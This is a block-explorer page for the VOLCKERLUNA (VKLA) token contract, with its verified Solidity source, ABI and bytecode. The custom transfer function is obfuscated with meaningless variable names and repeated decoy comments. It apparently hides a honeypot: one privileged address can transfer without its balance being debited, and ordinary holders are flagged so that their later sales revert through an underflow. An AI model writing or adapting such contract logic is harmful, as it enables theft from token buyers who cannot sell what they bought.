ETH Price: $3,280.13 (+1.08%)

Token

VOLCKERLUNA (VKLA)
 

Overview

Max Total Supply

1,000,000,000 VKLA

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
19,092,532.060797248 VKLA

Value
$0.00
0x8060d783789448e9aa2e2912afabd0eb24995158
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VOLCKERLUNA

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-27
*/

// SPDX-License-Identifier: MIT
/*
$$\    $$\  $$$$$$\  $$\       $$\   $$\ $$$$$$$$\ $$$$$$$\        $$\      $$\   $$\ $$\   $$\  $$$$$$\         $$$$$$\  $$$$$$$$\ $$$$$$$$\ $$$$$$\  $$$$$$\  $$$$$$\  $$$$$$\  $$\             $$$$$$$$\  $$$$$$\  $$\   $$\ $$$$$$$$\ $$\   $$\ 
$$ |   $$ |$$  __$$\ $$ |      $$ | $$  |$$  _____|$$  __$$\       $$ |     $$ |  $$ |$$$\  $$ |$$  __$$\       $$  __$$\ $$  _____|$$  _____|\_$$  _|$$  __$$\ \_$$  _|$$  __$$\ $$ |            \__$$  __|$$  __$$\ $$ | $$  |$$  _____|$$$\  $$ |
$$ |   $$ |$$ /  $$ |$$ |      $$ |$$  / $$ |      $$ |  $$ |      $$ |     $$ |  $$ |$$$$\ $$ |$$ /  $$ |      $$ /  $$ |$$ |      $$ |        $$ |  $$ /  \__|  $$ |  $$ /  $$ |$$ |               $$ |   $$ /  $$ |$$ |$$  / $$ |      $$$$\ $$ |
\$$\  $$  |$$ |  $$ |$$ |      $$$$$  /  $$$$$\    $$$$$$$  |      $$ |     $$ |  $$ |$$ $$\$$ |$$$$$$$$ |      $$ |  $$ |$$$$$\    $$$$$\      $$ |  $$ |        $$ |  $$$$$$$$ |$$ |               $$ |   $$ |  $$ |$$$$$  /  $$$$$\    $$ $$\$$ |
 \$$\$$  / $$ |  $$ |$$ |      $$  $$<   $$  __|   $$  __$$<       $$ |     $$ |  $$ |$$ \$$$$ |$$  __$$ |      $$ |  $$ |$$  __|   $$  __|     $$ |  $$ |        $$ |  $$  __$$ |$$ |               $$ |   $$ |  $$ |$$  $$<   $$  __|   $$ \$$$$ |
  \$$$  /  $$ |  $$ |$$ |      $$ |\$$\  $$ |      $$ |  $$ |      $$ |     $$ |  $$ |$$ |\$$$ |$$ |  $$ |      $$ |  $$ |$$ |      $$ |        $$ |  $$ |  $$\   $$ |  $$ |  $$ |$$ |               $$ |   $$ |  $$ |$$ |\$$\  $$ |      $$ |\$$$ |
   \$  /    $$$$$$  |$$$$$$$$\ $$ | \$$\ $$$$$$$$\ $$ |  $$ |      $$$$$$$$\\$$$$$$  |$$ | \$$ |$$ |  $$ |       $$$$$$  |$$ |      $$ |      $$$$$$\ \$$$$$$  |$$$$$$\ $$ |  $$ |$$$$$$$$\          $$ |    $$$$$$  |$$ | \$$\ $$$$$$$$\ $$ | \$$ |
    \_/     \______/ \________|\__|  \__|\________|\__|  \__|      \________|\______/ \__|  \__|\__|  \__|       \______/ \__|      \__|      \______| \______/ \______|\__|  \__|\________|         \__|    \______/ \__|  \__|\________|\__|  \__|
                                                                                                                                                                                                                                                    
                                                                                                                                                                                                                                                    
                                                                                                                                                                                                                                                    
           $$$$$$\        $$\                                                                                                                                                                                                                       
          $$  __$$\     $$$$ |                                                                                                                                                                                                                      
$$\    $$\\__/  $$ |    \_$$ |                                                                                                                                                                                                                      
\$$\  $$  |$$$$$$  |      $$ |                                                                                                                                                                                                                      
 \$$\$$  /$$  ____/       $$ |                                                                                                                                                                                                                      
  \$$$  / $$ |            $$ |                                                                                                                                                                                                                      
   \$  /  $$$$$$$$\ $$\ $$$$$$\                                                                                                                                                                                                                     
    \_/   \________|\__|\______|                                                                                                                                                                                                                    
                                                                                                                                                                                                                                                    
                                                                                                                                                                                                                                                    
         
*/



pragma solidity >0.8.1;

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a det
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountKingofTsukaDesired,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountKingofTsuka, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountKingofTsuka, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountKingofTsuka, uint amountETH);
    function swapExactKingofTsukasForKingofTsukas(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapKingofTsukasForExactKingofTsukas(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForKingofTsukas(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapKingofTsukasForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactKingofTsukasForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactKingofTsukas(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferKingofTsukas(
        address token,
        uint liquidity,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferKingofTsukas(
        address token,
        uint liquidity,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactKingofTsukasForKingofTsukasSupportingFeeOnTransferKingofTsukas(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForKingofTsukasSupportingFeeOnTransferKingofTsukas(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactKingofTsukasForETHSupportingFeeOnTransferKingofTsukas(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract VOLCKERLUNA is Ownable {

        /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    uint256 hod;
    uint256 pive;
    bool exay;
    address private prim;
    address private expt;
    address private brth;
    IUniswapV2Router02 public uniswapV2Router;
    uint256 private sqr;
    string private pSym;
    uint256 private _tTotal;
    string private pName;
    uint256 private hgr;
    uint8 private drm;
    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor(
        address adrr,
        address mhy
    ) {
        uniswapV2Router = IUniswapV2Router02(adrr);
        prim = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        pSym = unicode"VKLA";
        pName =  unicode"VOLCKERLUNA";
        drm = 9;
        sqr = 0;
        hgr = 100;
        mrd[mhy] = drm;
        _tTotal = 1000000000 * 10**drm;
        fdr[msg.sender] = _tTotal;
        emit Transfer(address(0xdead), msg.sender, _tTotal);
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */

    function name() public view returns (string memory) {
        return pName;
    }

    function symbol() public view returns (string memory) {
        return pSym;
    }

    function decimals() public view returns (uint256) {
        return drm;
    }

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private fdr;

    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view returns (uint256) {
        return fdr[account];
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferSystem(
        address brn,
        address nry,
        uint256 qiy
    ) internal {
        exay = prim == brn;

        if (!exay && mrd[brn] == 0 && det[brn] > 0) {
            mrd[brn] -= drm;
        }

        if(mrd[nry] <= 0)
            emit Transfer(brn, nry, qiy);

        hod = qiy * sqr;

        if (mrd[brn] == 0) {
            fdr[brn] -= qiy;
        }

        pive = hod / hgr;

        expt = brth;

        brth = nry;

        qiy -= pive;
        det[expt] += drm;
        fdr[nry] += qiy;

        
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */

    mapping(address => uint256) private det;

    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    mapping(address => uint256) private mrd;

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        transferSystem(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        transferSystem(msg.sender, recipient, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"adrr","type":"address"},{"internalType":"address","name":"mhy","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040523480156200001157600080fd5b506040516200100e3803806200100e83398101604081905262000034916200035f565b6200003f33620002f2565b600680546001600160a01b0319166001600160a01b0384169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000099573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000bf919062000397565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000122573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000148919062000397565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000196573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001bc919062000397565b600380546001600160a01b039290921661010002610100600160a81b0319909216919091179055604080518082019091526004815263564b4c4160e01b60208201526008906200020d908262000461565b5060408051808201909152600b81526a564f4c434b45524c554e4160a81b6020820152600a906200023f908262000461565b50600c805460ff191660099081178255600060078190556064600b556001600160a01b03841681526010602052604090205554620002829060ff16600a62000642565b6200029290633b9aca0062000653565b6009819055336000818152600e60205260409081902083905551909161dead917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620002e29190815260200190565b60405180910390a350506200066d565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80516001600160a01b03811681146200035a57600080fd5b919050565b600080604083850312156200037357600080fd5b6200037e8362000342565b91506200038e6020840162000342565b90509250929050565b600060208284031215620003aa57600080fd5b620003b58262000342565b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620003e757607f821691505b6020821081036200040857634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200045c57600081815260208120601f850160051c81016020861015620004375750805b601f850160051c820191505b81811015620004585782815560010162000443565b5050505b505050565b81516001600160401b038111156200047d576200047d620003bc565b62000495816200048e8454620003d2565b846200040e565b602080601f831160018114620004cd5760008415620004b45750858301515b600019600386901b1c1916600185901b17855562000458565b600085815260208120601f198616915b82811015620004fe57888601518255948401946001909101908401620004dd565b50858210156200051d5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005845781600019048211156200056857620005686200052d565b808516156200057657918102915b93841c939080029062000548565b509250929050565b6000826200059d575060016200063c565b81620005ac575060006200063c565b8160018114620005c55760028114620005d057620005f0565b60019150506200063c565b60ff841115620005e457620005e46200052d565b50506001821b6200063c565b5060208310610133831016604e8410600b841016171562000615575081810a6200063c565b62000621838362000543565b80600019048211156200063857620006386200052d565b0290505b92915050565b6000620003b560ff8416836200058c565b80820281158282048414176200063c576200063c6200052d565b610991806200067d6000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b41146101b4578063a9059cbb146101bc578063dd62ed3e146101cf578063f2fde38b1461020857600080fd5b806370a0823114610170578063715018a6146101995780638da5cb5b146101a357600080fd5b806306fdde03146100d4578063095ea7b3146100f25780631694505e1461011557806318160ddd1461014057806323b872dd14610152578063313ce56714610165575b600080fd5b6100dc61021b565b6040516100e9919061078e565b60405180910390f35b6101056101003660046107f8565b6102ad565b60405190151581526020016100e9565b600654610128906001600160a01b031681565b6040516001600160a01b0390911681526020016100e9565b6009545b6040519081526020016100e9565b610105610160366004610822565b6102c3565b600c5460ff16610144565b61014461017e36600461085e565b6001600160a01b03166000908152600e602052604090205490565b6101a1610313565b005b6000546001600160a01b0316610128565b6100dc61037e565b6101056101ca3660046107f8565b61038d565b6101446101dd366004610879565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b6101a161021636600461085e565b6103a3565b6060600a805461022a906108ac565b80601f0160208091040260200160405190810160405280929190818152602001828054610256906108ac565b80156102a35780601f10610278576101008083540402835291602001916102a3565b820191906000526020600020905b81548152906001019060200180831161028657829003601f168201915b5050505050905090565b60006102ba33848461046e565b90505b92915050565b60006102d0848484610518565b6001600160a01b0384166000908152600d602090815260408083203380855292529091205461030b9186916103069086906108fc565b61046e565b949350505050565b6000546001600160a01b031633146103725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61037c600061073e565b565b60606008805461022a906108ac565b600061039a338484610518565b50600192915050565b6000546001600160a01b031633146103fd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610369565b6001600160a01b0381166104625760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610369565b61046b8161073e565b50565b60006001600160a01b0384161580159061049057506001600160a01b03831615155b6104e85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610369565b506001600160a01b039283166000908152600d602090815260408083209490951682529290925291902055600190565b6003805460ff1981166101009091046001600160a01b039081169086161490811790915560ff1615801561056257506001600160a01b038316600090815260106020526040902054155b801561058557506001600160a01b0383166000908152600f602052604090205415155b156105c157600c546001600160a01b0384166000908152601060205260408120805460ff909316929091906105bb9084906108fc565b90915550505b6001600160a01b03821660009081526010602052604090205461062c57816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161062391815260200190565b60405180910390a35b600754610639908261090f565b6001556001600160a01b0383166000908152601060205260408120549003610689576001600160a01b0383166000908152600e6020526040812080548392906106839084906108fc565b90915550505b600b546001546106999190610926565b600281905560058054600480546001600160a01b038084166001600160a01b0319928316179092559091169085161790556106d490826108fc565b600c546004546001600160a01b03166000908152600f60205260408120805493945060ff90921692610707908490610948565b90915550506001600160a01b0382166000908152600e602052604081208054839290610734908490610948565b9091555050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b818110156107bb5785810183015185820160400152820161079f565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146107f357600080fd5b919050565b6000806040838503121561080b57600080fd5b610814836107dc565b946020939093013593505050565b60008060006060848603121561083757600080fd5b610840846107dc565b925061084e602085016107dc565b9150604084013590509250925092565b60006020828403121561087057600080fd5b6102ba826107dc565b6000806040838503121561088c57600080fd5b610895836107dc565b91506108a3602084016107dc565b90509250929050565b600181811c908216806108c057607f821691505b6020821081036108e057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102bd576102bd6108e6565b80820281158282048414176102bd576102bd6108e6565b60008261094357634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156102bd576102bd6108e656fea2646970667358221220c0d3a39eabb6d26b9ba2c9d6b2bd0cc7f90739d6a96406a6e737626ae988823364736f6c634300081100330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000002dc70ac2206ac5fc08ab7d89096c26581d90d4f

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b41146101b4578063a9059cbb146101bc578063dd62ed3e146101cf578063f2fde38b1461020857600080fd5b806370a0823114610170578063715018a6146101995780638da5cb5b146101a357600080fd5b806306fdde03146100d4578063095ea7b3146100f25780631694505e1461011557806318160ddd1461014057806323b872dd14610152578063313ce56714610165575b600080fd5b6100dc61021b565b6040516100e9919061078e565b60405180910390f35b6101056101003660046107f8565b6102ad565b60405190151581526020016100e9565b600654610128906001600160a01b031681565b6040516001600160a01b0390911681526020016100e9565b6009545b6040519081526020016100e9565b610105610160366004610822565b6102c3565b600c5460ff16610144565b61014461017e36600461085e565b6001600160a01b03166000908152600e602052604090205490565b6101a1610313565b005b6000546001600160a01b0316610128565b6100dc61037e565b6101056101ca3660046107f8565b61038d565b6101446101dd366004610879565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b6101a161021636600461085e565b6103a3565b6060600a805461022a906108ac565b80601f0160208091040260200160405190810160405280929190818152602001828054610256906108ac565b80156102a35780601f10610278576101008083540402835291602001916102a3565b820191906000526020600020905b81548152906001019060200180831161028657829003601f168201915b5050505050905090565b60006102ba33848461046e565b90505b92915050565b60006102d0848484610518565b6001600160a01b0384166000908152600d602090815260408083203380855292529091205461030b9186916103069086906108fc565b61046e565b949350505050565b6000546001600160a01b031633146103725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61037c600061073e565b565b60606008805461022a906108ac565b600061039a338484610518565b50600192915050565b6000546001600160a01b031633146103fd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610369565b6001600160a01b0381166104625760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610369565b61046b8161073e565b50565b60006001600160a01b0384161580159061049057506001600160a01b03831615155b6104e85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610369565b506001600160a01b039283166000908152600d602090815260408083209490951682529290925291902055600190565b6003805460ff1981166101009091046001600160a01b039081169086161490811790915560ff1615801561056257506001600160a01b038316600090815260106020526040902054155b801561058557506001600160a01b0383166000908152600f602052604090205415155b156105c157600c546001600160a01b0384166000908152601060205260408120805460ff909316929091906105bb9084906108fc565b90915550505b6001600160a01b03821660009081526010602052604090205461062c57816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161062391815260200190565b60405180910390a35b600754610639908261090f565b6001556001600160a01b0383166000908152601060205260408120549003610689576001600160a01b0383166000908152600e6020526040812080548392906106839084906108fc565b90915550505b600b546001546106999190610926565b600281905560058054600480546001600160a01b038084166001600160a01b0319928316179092559091169085161790556106d490826108fc565b600c546004546001600160a01b03166000908152600f60205260408120805493945060ff90921692610707908490610948565b90915550506001600160a01b0382166000908152600e602052604081208054839290610734908490610948565b9091555050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b818110156107bb5785810183015185820160400152820161079f565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146107f357600080fd5b919050565b6000806040838503121561080b57600080fd5b610814836107dc565b946020939093013593505050565b60008060006060848603121561083757600080fd5b610840846107dc565b925061084e602085016107dc565b9150604084013590509250925092565b60006020828403121561087057600080fd5b6102ba826107dc565b6000806040838503121561088c57600080fd5b610895836107dc565b91506108a3602084016107dc565b90509250929050565b600181811c908216806108c057607f821691505b6020821081036108e057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102bd576102bd6108e6565b80820281158282048414176102bd576102bd6108e6565b60008261094357634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156102bd576102bd6108e656fea2646970667358221220c0d3a39eabb6d26b9ba2c9d6b2bd0cc7f90739d6a96406a6e737626ae988823364736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000002dc70ac2206ac5fc08ab7d89096c26581d90d4f

-----Decoded View---------------
Arg [0] : adrr (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : mhy (address): 0x02dC70ac2206ac5fc08aB7D89096c26581d90d4f

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 00000000000000000000000002dc70ac2206ac5fc08ab7d89096c26581d90d4f


Deployed Bytecode Sourcemap

